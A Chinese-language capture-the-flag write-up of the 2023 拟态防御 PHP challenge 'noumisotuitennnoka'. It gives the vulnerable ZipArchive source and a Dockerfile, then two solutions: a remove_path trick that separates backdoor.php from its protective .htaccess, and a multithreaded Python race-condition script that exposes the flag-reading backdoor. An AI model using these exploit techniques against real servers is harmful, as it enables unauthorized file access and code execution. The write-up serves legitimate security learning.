[2023拟态防御]noumisotuitennnoka

题目环境

index.php

<?php
highlight_file(__FILE__);
$dir = '/tmp';
$htContent = <<<EOT
<Files "backdoor.php">
    Deny from all
</Files>
EOT;
$action = $_GET['action'] ?? 'create';
$content = $_GET['content'] ?? '<?php echo file_get_contents("/flag");@unlink(__FILE__);';
$subdir = $_GET['subdir'] ?? '/jsons';

if(!preg_match('/^\/\.?[a-z]+$/', $subdir) || strlen($subdir) > 10)
    die("....");

$jsonDir = $dir . $subdir;         
$escapeDir = '/var/www/html' . $subdir;    
$archiveFile = $jsonDir . '/archive.zip';  


if($action == 'create'){
    // create jsons/api.json
    @mkdir($jsonDir);
    file_put_contents($jsonDir. '/backdoor.php', $content);
    file_put_contents($jsonDir. '/.htaccess',$htContent);
}
if($action == 'zip'){
    delete($archiveFile);
    // create archive.zip
    $dev_dir = $_GET['dev'] ?? $dir;
    if(realpath($dev_dir) !== $dir)
        die('...');
    $zip = new ZipArchive();
    $zip->open($archiveFile, ZipArchive::CREATE);
    $zip->addGlob($jsonDir . '/**', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
    $zip->addGlob($jsonDir . '/.htaccess', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
    $zip->close();
}
if($action == 'unzip' && is_file($archiveFile)){
    $zip = new ZipArchive();
    $zip->open($archiveFile);
    $zip->extractTo('/');
    $zip->close();
}
if($action == 'clean'){
    if (file_exists($escapeDir))
        delete($escapeDir);
    else
        echo "Failed.(/var/www/html)";
    if (file_exists($jsonDir))
        delete($jsonDir);
    else
        echo "Failed.(/tmp)";
}

function delete($path){
    if(is_file($path))
        @unlink($path);
    elseif (is_dir($path))
        @rmdir($path);
}

dockerfile

FROM php:7.4-apache

RUN apt-get update && \
    apt-get install -y \
        libzip-dev \
        zlib1g-dev \
    && rm -rf /var/lib/apt/lists/*

RUN docker-php-ext-install zip

COPY index.php /var/www/html/

build

docker build -t noumisotuitennnoka .

启动

docker run -itd -p 9988:80 noumisotuitennnoka2

当时的思路

整个流程分析下来,很多参数的限制都很大。觉得最可疑的就是$_GET['dev']这个参数,它也是直接被用作remove_path传入的。

搜了下ZipArchive::addGlob的用法,remove_path是添加到存档之前要从匹配的文件路径中删除的前缀,它是在add_path之前生效的。

测试当被压缩的文件位置在/tmp/xxx目录下,remove_path传入的参数为/tmp/xxx/,解压之后所有文件的第一个字符都被吞掉了。这样就可以让.htaccess失效

测试代码

<?php
ini_set('display_errors','1');
$dir = "/tmp";
$subdir = "/xxx";
$jsonDir = $dir . $subdir;
$archiveFile = $jsonDir . '/archive.zip';

$ksDir = '/tmp/xxx/';
$action = 'unzip';
//$action = 'zip';

if($action == 'unzip'){
    // create jsons/api.json
    @mkdir($jsonDir);
    file_put_contents($jsonDir. '/backdoor.php', "123");
    file_put_contents($jsonDir. '/.htaccess', "123");
}

if($action == 'unzip') {
    delete($archiveFile);
    $zip = new ZipArchive();
    $zip->open($archiveFile, ZipArchive::CREATE);
    $zip->addGlob($jsonDir . '/**', 0, ['add_path' => 'html/', 'remove_path' => $ksDir]);
    $zip->addGlob($jsonDir . '/.htaccess', 0, ['add_path' => 'html/', 'remove_path' => $ksDir]);
    $zip->close();
}

if($action == 'unzip' && is_file($archiveFile)){
    $zip = new ZipArchive();
    $zip->open($archiveFile);
    $zip->extractTo('../');
    $zip->close();
}

function delete($path){
    if(is_file($path))
        @unlink($path);
    elseif (is_dir($path))
        @rmdir($path);
}

remove_path确实有问题,但由于if(realpath($dev_dir) !== $dir){dei('...');};的限制,这样的思路只有压缩文件位置在/tmp目录下才能生效。

但题目并不能让我们把文件写到/tmp目录下,而且后面测试也发现题目的网站根目录也没有可写权限。当时看这道题已经很晚了,最后也没有解出。

解法一

问题就在这个remove_path,因为没有源码,只有自己测试出来。

remove_path没有匹配到文件的路径的时候(比如/tmp/xx1),remove_path会失效文件的归档位置将不会改变。

remove_path匹配了部分路径,比如文件位置为/tmp/xxx/backdoor.phpremove_path=/xxx/b,解压后文件的位置就会发生变化

甚至说不用匹配到有目录的位置,只要是这个路径字符串中任意一个字串(ack),都会让这个解压的路径发生改变。

于是能在满足if(realpath($dev_dir) !== $dir){dei('...');};的限制下,我们在/tmp/tmp目录下生成文件,然后令$dev_dir=/tmp/.。这样文件路径/tmp/tmp/.htaccess就会通过/tmp/.来匹配到。进而让backdoor.php.htaccess不在同一目录下。

然后访问/tmp/tmp/backdoor.php就行了。

解法二

还有一种思路是用条件竞争,因为写入backdoor.php.htaccess这个操作之间存在间隔。如果执行zip操作的时候,.htaccess还没写入。那么执行unzip的时候就不会有.htaccess存在,进而执行到backdoor.php

参考山石战队的脚本

import threading
import requests

url = "http://127.0.0.1:9988/"
sess = requests.session()
t = threading.Semaphore(80)

def clean():
    while True:
        t.acquire()
        p = {"action": "clean", "subdir": "/xxx"}
        sess.get(url, params=p)
        t.release()

def create():
    while True:
        t.acquire()
        p = {"action": "create", "subdir": "/xxx"}
        sess.get(url, params=p)
        t.acquire()


def zip():
    while True:
        t.acquire()
        p = {"action": "zip", "subdir": "/xxx"}
        sess.get(url, params=p)
        t.acquire()


def unzip():
    while True:
        t.acquire()
        p = {"action": "unzip", "subdir": "/xxx"}
        sess.get(url, params=p)
        t.acquire()


threading.Thread(target=clean).start()
threading.Thread(target=create).start()
threading.Thread(target=create).start()
threading.Thread(target=zip).start()
threading.Thread(target=unzip).start()

while True:
    fh = sess.get(url + "xxx/backdoor.php")
    if fh.status_code != 403:
        print(fh.text)

一点总结

记这道到不说考了一个多牛的知识点,其实我感觉之后也不会看到ZipArchive::addGlob这玩意儿了。

这道题给我感觉更像是一种随机应变吧,在网上无法直接搜到相关知识点,只有自己分析题目的话该怎么做。

条件竞争不说了,之前确实接触的少。第一种解法现在看,在已经锁定了dev的问题之后,其实也可以反推它传入参数的可能性,这样说不定会想到的可能性大一点。